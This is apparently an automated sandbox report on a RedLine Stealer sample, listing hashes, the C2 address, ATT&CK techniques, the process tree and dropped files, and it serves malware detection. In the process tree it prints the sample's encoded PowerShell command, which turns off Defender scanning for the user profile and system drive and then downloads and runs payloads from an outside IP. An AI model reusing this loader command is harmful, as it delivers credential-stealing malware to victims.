redline | 08b2434fa33b35c428fb85e938fed0d6d715b5e46806bbe2d130ebb0ed2df614

General

Target

1111.exe
Size

6KB
MD5

cad36ced89b961355a57fc8acedfe557
SHA1

5b020db088ef17cebb57ba77fd9427414d292f36
SHA256

08b2434fa33b35c428fb85e938fed0d6d715b5e46806bbe2d130ebb0ed2df614
SHA512

760c977a6835479956d8f1f74dd3f6d10557bb66c57d990243a4fa94d4d5845ad9b31d069660702aab40adceed5525e3c65613663ee442899fa43005b4bf52db

Score

10^/10

redline 1877 discovery infostealer spyware stealer

Malware Config

Extracted

Family

redline

Botnet

1877

C2

overthinker1877.duckdns.org:60732

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000a000000022e26-152.dat	family_redline
behavioral1/files/0x000a000000022e26-157.dat	family_redline
behavioral1/memory/2364-158-0x0000000000010000-0x0000000000048000-memory.dmp	family_redline

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	5040	powershell.exe
25	5040	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
2364	svchosts.exe
4284	svchost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	1111.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5040	powershell.exe
5040	powershell.exe
2364	svchosts.exe
2364	svchosts.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	2364	svchosts.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 5040	2428	1111.exe	82
PID 2428 wrote to memory of 5040	2428	1111.exe	82
PID 2428 wrote to memory of 5040	2428	1111.exe	82
PID 5040 wrote to memory of 2364	5040	powershell.exe	85
PID 5040 wrote to memory of 2364	5040	powershell.exe	85
PID 5040 wrote to memory of 2364	5040	powershell.exe	85
PID 5040 wrote to memory of 4284	5040	powershell.exe	87
PID 5040 wrote to memory of 4284	5040	powershell.exe	87
PID 5040 wrote to memory of 4284	5040	powershell.exe	87

C:\Users\Admin\AppData\Local\Temp\1111.exe
"C:\Users\Admin\AppData\Local\Temp\1111.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB0AHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaABwAGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBpAHQAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADMALgA5ADAALgAxADIAOAAuADIANQAzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcALAAgADwAIwB5AGcAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAYQBoACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHAAbQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQApADwAIwBmAG0AawAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAzAC4AOQAwAC4AMQAyADgALgAyADUAMwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACwAIAA8ACMAdwBoAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGkAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBuAG4AZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACkAKQA8ACMAYwBoAG4AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAMwAuADkAMAAuADEAMgA4AC4AMgA1ADMALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcALAAgADwAIwB0AHAAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAdAB4ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAdQBwAGkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZAB0AGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AagB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAcwBlAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagBlAHQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAZwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAagBrAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBjAHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAcQBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAPAAjAGsAYgB6ACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Users\Admin\AppData\Local\Temp\svchosts.exe
    "C:\Users\Admin\AppData\Local\Temp\svchosts.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:4284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
14KB

MD5
1937d5a853734874a0ef18d4acc43113

SHA1
37c4f8d0c6fea50f836c0a308b06de910205189a

SHA256
88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

SHA512
e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
14KB

MD5
1937d5a853734874a0ef18d4acc43113

SHA1
37c4f8d0c6fea50f836c0a308b06de910205189a

SHA256
88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

SHA512
e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchosts.exe

Filesize
205KB

MD5
b3503746bb7f1d30755c9f4a26ce0a2c

SHA1
2490c2a6b3fad0711993c8bb16aab2d21cefac6f

SHA256
90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

SHA512
142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchosts.exe

Filesize
205KB

MD5
b3503746bb7f1d30755c9f4a26ce0a2c

SHA1
2490c2a6b3fad0711993c8bb16aab2d21cefac6f

SHA256
90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

SHA512
142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

Download Submit
memory/2364-164-0x0000000005EA0000-0x0000000006062000-memory.dmp

Filesize
1.8MB

Download
memory/2364-163-0x0000000004B80000-0x0000000004C8A000-memory.dmp

Filesize
1.0MB

Download
memory/2364-162-0x00000000048D0000-0x000000000490C000-memory.dmp

Filesize
240KB

Download
memory/2364-161-0x0000000004870000-0x0000000004882000-memory.dmp

Filesize
72KB

Download
memory/2364-159-0x0000000004FB0000-0x00000000055C8000-memory.dmp

Filesize
6.1MB

Download
memory/2364-158-0x0000000000010000-0x0000000000048000-memory.dmp

Filesize
224KB

Download
memory/2364-165-0x00000000065A0000-0x0000000006ACC000-memory.dmp

Filesize
5.2MB

Download
memory/2364-166-0x00000000061F0000-0x0000000006266000-memory.dmp

Filesize
472KB

Download
memory/2364-167-0x0000000006550000-0x000000000656E000-memory.dmp

Filesize
120KB

Download
memory/4284-160-0x0000000005BD0000-0x0000000005C62000-memory.dmp

Filesize
584KB

Download
memory/4284-156-0x0000000000890000-0x000000000089A000-memory.dmp

Filesize
40KB

Download
memory/5040-141-0x0000000006F50000-0x0000000006F6E000-memory.dmp

Filesize
120KB

Download
memory/5040-142-0x0000000008300000-0x000000000897A000-memory.dmp

Filesize
6.5MB

Download
memory/5040-149-0x0000000008050000-0x0000000008072000-memory.dmp

Filesize
136KB

Download
memory/5040-148-0x0000000007F30000-0x0000000007F38000-memory.dmp

Filesize
32KB

Download
memory/5040-147-0x0000000007F40000-0x0000000007F5A000-memory.dmp

Filesize
104KB

Download
memory/5040-146-0x0000000007EF0000-0x0000000007EFE000-memory.dmp

Filesize
56KB

Download
memory/5040-145-0x0000000007F80000-0x0000000008016000-memory.dmp

Filesize
600KB

Download
memory/5040-144-0x0000000007D20000-0x0000000007D2A000-memory.dmp

Filesize
40KB

Download
memory/5040-143-0x0000000007CC0000-0x0000000007CDA000-memory.dmp

Filesize
104KB

Download
memory/5040-150-0x0000000008F30000-0x00000000094D4000-memory.dmp

Filesize
5.6MB

Download
memory/5040-140-0x0000000070590000-0x00000000705DC000-memory.dmp

Filesize
304KB

Download
memory/5040-139-0x0000000006F70000-0x0000000006FA2000-memory.dmp

Filesize
200KB

Download
memory/5040-138-0x00000000069B0000-0x00000000069CE000-memory.dmp

Filesize
120KB

Download
memory/5040-137-0x0000000006350000-0x00000000063B6000-memory.dmp

Filesize
408KB

Download
memory/5040-136-0x00000000062E0000-0x0000000006346000-memory.dmp

Filesize
408KB

Download
memory/5040-135-0x0000000005AF0000-0x0000000005B12000-memory.dmp

Filesize
136KB

Download
memory/5040-134-0x0000000005B80000-0x00000000061A8000-memory.dmp

Filesize
6.2MB

Download
memory/5040-133-0x00000000053D0000-0x0000000005406000-memory.dmp

Filesize
216KB

Download

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